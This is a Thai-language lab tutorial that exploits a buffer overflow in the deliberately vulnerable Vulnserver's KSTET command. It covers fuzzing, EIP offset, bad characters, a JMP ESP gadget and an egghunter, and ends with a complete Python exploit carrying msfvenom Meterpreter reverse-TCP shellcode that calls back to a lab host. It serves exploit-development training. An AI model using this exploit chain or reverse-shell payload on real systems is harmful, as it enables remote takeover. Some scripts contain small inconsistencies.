ทดสอบทำ Buffer Overflow ใน vulnserver
บทความนี้ต่อยอดจากเฉลยที่ทำคราวที่แล้ว คือคราวที่แล้วเป็นการทำโดยใช้ Ollydbg มาคราวนี้ตัวที่เราจะใช้กันคือ Immunity Debugger โดยใน lab นี้จะมีสิ่งที่ต้อง download ดังนี้
- Immunity Debugger
- Mona.py
- Vulnserver
- Metasploit
1. เริ่มต้นด้วยการติดตั้ง Immunity Debugger
2. เปิดไฟล์ vulnserver พบว่าจะมีการเปิดรอรับ connection อยู่ที่ port 9999
3. เมื่อลอง telnet เข้าไปก็จะพบว่ามีการรับ command แต่ประเด็นคือเมื่อพบแล้วกลับพิมพ์ผ่าน telnet ไม่ได้ ดังนั้น เราเลยต้องทำเป็น script ขึ้นมาแทน
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) buff = "HELP" client.sendall(buff.encode()) print (client.recv(1024)) client.close() |
ทดสอบใช้งาน vulnserver ไปเรื่อยๆพบว่ามี buffer overflow
- KSTET ที่มากกว่า 70 ตัวอักษร
- GTER ที่มากกว่า 150 ตัวอักษร
- HTER ที่มากกว่า 2100 ตัวอักษร
ซึ่งนั่นหมายความ function เราจะทดสอบที่ KSTET
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) #Command ''' HELP STATS [stat_value] RTIME [rtime_value] LTIME [ltime_value] SRUN [srun_value] TRUN [trun_value] GMON [gmon_value] GDOG [gdog_value] KSTET [kstet_value] GTER [gter_value] HTER [hter_value] LTER [lter_value] KSTAN [lstan_value] EXIT ''' command = "KSTET " buff = "A"*100 s = command+buff client.sendall(s.encode()) print (client.recv(1024)) client.close() |
3. Attach vulnserver เข้า Immunity Debugger ไปที่ File -> Attach -> vulnserver.exe
4. กดปุ่ม Play (ต่อจากนี้ถ้ามีการ crash ก็ restart เอา)
5. ทดสอบทำให้ vulnserver crash อีกที จะพบว่า EIP, ESP, EBP มีค่าเป็น 41 ทั้งหมด (“41” -> “A”)
6. หาตำแหน่งที่พอดีกับ EIP
1 |
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) buff2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" buff = "GTER "+buff2 client.sendall(buff.encode()) print (client.recv(1024)) client.close() |
ได้ string ที่ทำให้ crash ออกมาเป็น 63413363
7. นำ 63413363 ไปหาว่าเป็นตำแหน่งที่เท่าไหร่ของ payload ขนาด 100 ตัวอักษร
1 |
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 63413363 |
ได้ออกมาเป็นตำแหน่งที่ 70 พอดี
8. ทดสอบส่ง A 70 ตัวแล้วตามด้วย B 4 ตัว แล้วตามด้วย C จำนวน (1000-4-151) ตัว ดูว่าตำแหน่ง EIP เป็นค่า 42 หรือไม่
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) #Command ''' HELP STATS [stat_value] RTIME [rtime_value] LTIME [ltime_value] SRUN [srun_value] TRUN [trun_value] GMON [gmon_value] GDOG [gdog_value] KSTET [kstet_value] GTER [gter_value] HTER [hter_value] LTER [lter_value] KSTAN [lstan_value] EXIT ''' command = "KSTET " buff = "A"*70+"B"*4+"C"*(100-70-4) s = command+buff client.sendall(s.encode()) print (client.recv(1024)) client.close() |
ก็ปรากฏว่าตรงพอดีครับ ESP จะกลายเป็น “B”*4 (42424242)
แสดงว่าเราควบคุม EIP ได้แล้ว
9. ต่อไปที่เราจะทำคือการหาว่า Bad Character ที่จะทำให้ payload ขาดหายได้ เราจะส่ง character ทั้งหมดไปเพื่อดูว่ามีตัวไหนที่เป็น bad character บ้าง
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) #Command ''' HELP STATS [stat_value] RTIME [rtime_value] LTIME [ltime_value] SRUN [srun_value] TRUN [trun_value] GMON [gmon_value] GDOG [gdog_value] KSTET [kstet_value] GTER [gter_value] HTER [hter_value] LTER [lter_value] KSTAN [lstan_value] EXIT ''' command = "KSTET " badchar=( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buff = "A"*(100-len(badchar))+"B"*4+"C"*(100-4-len(badchar)) s = command client.sendall(s.encode()+badchar+buff.encode()) print (client.recv(1024)) client.close() |
จากการตรวจสอบพบว่านอกจาก \0x00 ซึ่งมีความหมายว่า NULL อยู่ ก็ไม่มีอะไรครับ
(โดยปกติตัวที่ต้องหลีกเลี่ยงคือ 0x00, 0x0a,0x0d,0x20)
ซึ่งถ้าไล่ดูใน ESP (ตำแหน่ง 00C0FA0C)
10. ทำการสร้าง shellcode สำหรับการ connect กลับไปยัง 10.211.55.3:4455
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=4455 -b '\x00' -f python -o windows.py -v shellcode |
จากภาพจะเห็นว่า payload ที่ถูกสร้างนั้นขนาด 360 byte ซึ่งมันไม่พอในตำแหน่ง ESP ในตำแหน่งของ ESP นั้นใส่ได้แค่ 20 Byte เท่านั้น
(ตรวจสอบ payload size ทั้งหมดได้โดยใช้ /usr/share/metasploit-framework/tools/modules/payload_lengths.rb | grep windows)
11. ทำการ copy mana.py ไปไว้ที่ C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
12. เราต้องการหาคำสั่งเพื่อทำการกระโดดไปทำงานที่ตำแหน่ง ESP ซึ่งเราสามารถใส่ shellcode ของเราได้ ดังนั้นสิ่งที่เราทำคือการใช้ mona.py เพื่อหาสิ่งที่เเราหาก่อนว่ามี process หรือ dll ใดบ้างที่มีการถูกใช้งานแต่ไม่มีการป้องกันด้วย ASLR เพื่อให้ง่ายต่อการระบุตำแหน่งที่จะใช้งาน JMP ESP
ซึ่งจากที่เห็นมีหลายตัวที่เข้าข่าย โดยใน lab นี้เราเลือกเป็น essfunc.dll ครับ เมื่อระบุเป้าหมายแล้ว เราก็หาต่อเป็น !mona find -type instr -s “jmp esp” -m essfunc.dll ได้ตำแหน่งเป็น 625011AF
แสดงว่าตอนนี้เราได้ JMP ESP มาได้แล้ว ซึ่ง shellcode ที่เราจะใส่แทน “B” นั่นคือ “\xAF\x11\x50\x62”
13. ทีนี้สิ่งที่เราต้องทำต่อจะทำยังไงกับ 20 byte ที่มีให้ขยายขึ้นโดยการลบตำแหน่งของ ESP ขึ้นไป ซึ่งในที่นี้เราจะทำการลบตำแหน่งของ ESP ไปยังจุดที่อยู่ที่เรากำหนดค่าได้นั่นคือ EAX หรือก็คือ -74 byte จะใช้ shellcode เป็น
1 |
SUB ESP,74 |
จากนั้นค่อย JMP ESP อีกที เพราะว่าตอนแรกที่เรากระโดดไป ESP จะอยู่ตำแหน่งที่ตำ่กว่า ESP ตอนที่เราลบค่าตำแหน่ง ดังนั้นจึงกลายเป็นว่าเมื่อลบแล้วเราต้องทำการ JMP อีกทีนั่นเอง นั่นหมายความว่าเราจะสร้าง 2 คำสั่งไปไว้ที่ ESP นั่นคือ
1 2 |
SUB ESP,74 JUMP ESP |
โดยเราสามารถสร้าง shellcode ของ 2 คำสั่งนั้นได้ด้วย /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
แก้ไข option ของ Immunity เพื่อให้เราสามารถเข้าถึง Memory Access Violation ระหว่าง Debug ได้ด้วยการทำ disable memory access violation โดยเข้าไปที่ Option -> Debugger Option -> Exceptions -> Memory Access Violation
14. สิ่งที่เราทำต่อจากนี้เรียกว่า EggHunter นั่นคือการฝัง payload ไว้ในการทำงานอื่น แล้วไปโหลด payload นั้นมาใช้ โดยการโหลดนั้นจะมีสัญลักษณ์ที่เรียกว่า “Egg” ซึ่งโดยปกติการกระทำของ EggHunter จะอยู่ที่ประมาณ 32 byte ซึ่งเพียงพอต่อ space ที่เรามีหลังจากทำการแก้ไข ESP แล้ว ทำการสร้าง Egg โดยใช้ mona ซึ่งในที่นี้เราจะให้มันหาคำว่า w00t (โดย default) ซึ่งมีค่าเท่ากับ “\x77\x30\x30\x74”
1 |
!mona egg |
1 2 3 4 |
ได้ผลลัพธ์ออกมาเป็น "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" |
ลำดับการทำงานคือ
- เราทำการส่ง payload ไปยัง “GDOG “+shellcode ก่อน
- เราทำการส่ง payload ไปยัง “KSTAT “+jmp ของเรา+egg ให้กระโดดไปหา shellcode ของเรา
ทำการเอาทั้งหมดมารวมกัน
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
#!/usr/bin/env python import socket host = "10.211.55.39" port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host,port)) print (client.recv(1024)) #Command ''' HELP STATS [stat_value] RTIME [rtime_value] LTIME [ltime_value] SRUN [srun_value] TRUN [trun_value] GMON [gmon_value] GDOG [gdog_value] KSTET [kstet_value] GTER [gter_value] HTER [hter_value] LTER [lter_value] KSTAN [lstan_value] EXIT ''' command = "KSTET " command2 = "GDOG " # msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=4455 -f python -b "x00" -v shellcode shellcode = "" shellcode += "\xbb\x20\x25\xc4\x92\xdb\xcb\xd9\x74\x24\xf4\x58" shellcode += "\x2b\xc9\xb1\x54\x31\x58\x13\x83\xc0\x04\x03\x58" shellcode += "\x2f\xc7\x31\x6e\xc7\x85\xba\x8f\x17\xea\x33\x6a" shellcode += "\x26\x2a\x27\xfe\x18\x9a\x23\x52\x94\x51\x61\x47" shellcode += "\x2f\x17\xae\x68\x98\x92\x88\x47\x19\x8e\xe9\xc6" shellcode += "\x99\xcd\x3d\x29\xa0\x1d\x30\x28\xe5\x40\xb9\x78" shellcode += "\xbe\x0f\x6c\x6d\xcb\x5a\xad\x06\x87\x4b\xb5\xfb" shellcode += "\x5f\x6d\x94\xad\xd4\x34\x36\x4f\x39\x4d\x7f\x57" shellcode += "\x5e\x68\xc9\xec\x94\x06\xc8\x24\xe5\xe7\x67\x09" shellcode += "\xca\x15\x79\x4d\xec\xc5\x0c\xa7\x0f\x7b\x17\x7c" shellcode += "\x72\xa7\x92\x67\xd4\x2c\x04\x4c\xe5\xe1\xd3\x07" shellcode += "\xe9\x4e\x97\x40\xed\x51\x74\xfb\x09\xd9\x7b\x2c" shellcode += "\x98\x99\x5f\xe8\xc1\x7a\xc1\xa9\xaf\x2d\xfe\xaa" shellcode += "\x10\x91\x5a\xa0\xbc\xc6\xd6\xeb\xa8\x2b\xdb\x13" shellcode += "\x28\x24\x6c\x67\x1a\xeb\xc6\xef\x16\x64\xc1\xe8" shellcode += "\x59\x5f\xb5\x67\xa4\x60\xc6\xae\x62\x34\x96\xd8" shellcode += "\x43\x35\x7d\x19\x6c\xe0\xe8\x13\xfa\x01\x3e\x14" shellcode += "\xf9\x7d\xc2\x5b\xec\x1a\x4b\xbd\x5e\xb5\x1b\x12" shellcode += "\x1e\x65\xdc\xc2\xf6\x6f\xd3\x3d\xe6\x8f\x39\x56" shellcode += "\x8c\x7f\x94\x0e\x38\x19\xbd\xc5\xd9\xe6\x6b\xa0" shellcode += "\xd9\x6d\x9e\x54\x97\x85\xeb\x46\xcf\xf7\x13\x97" shellcode += "\x0f\x92\x13\xfd\x0b\x34\x43\x69\x11\x61\xa3\x36" shellcode += "\xea\x44\xb7\x31\x14\x19\x8e\x4a\x22\x8f\xae\x24" shellcode += "\x4a\x5f\x2f\xb5\x1c\x35\x2f\xdd\xf8\x6d\x7c\xf8" shellcode += "\x07\xb8\x10\x51\x9d\x43\x41\x05\x36\x2c\x6f\x70" shellcode += "\x70\xf3\x90\x57\x03\xf4\x6f\x25\x21\x5d\x18\xd5" shellcode += "\x65\x5d\xd8\xbf\x65\x0d\xb0\x34\x4a\xa2\x70\xb4" shellcode += "\x41\xeb\x18\x3f\x07\x59\xb8\x40\x02\x3f\x64\x40" shellcode += "\xa0\xe4\x71\xcf\x47\x1b\x7e\x31\x74\xcd\x47\x47" shellcode += "\xbd\xcd\xf3\x58\xf4\x70\x55\xf3\xf6\x27\xa5\xd6" jump="\xAF\x11\x50\x62" # JMP ESP from essfunc.dll sub_esp = "\x83\xec\x4a" jump_esp_after = "\xff\xe4" egg = "\x77\x30\x30\x74" #w00t end = "\r\n\r\n" nopsled = "\x90" * 10 # Nop sled to padding the shellcode egghunter = "" egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" client.sendall(command2.encode()+egg+egg+shellcode+end.encode()) # Inject shellcode into memory print (client.recv(1024)) client.sendall(command.encode()+nopsled+egghunter+"A"*(70-len(egghunter)-len(nopsled))+jump+sub_esp+jump_esp_after) print (client.recv(1024)) client.close() |
Run and got the shell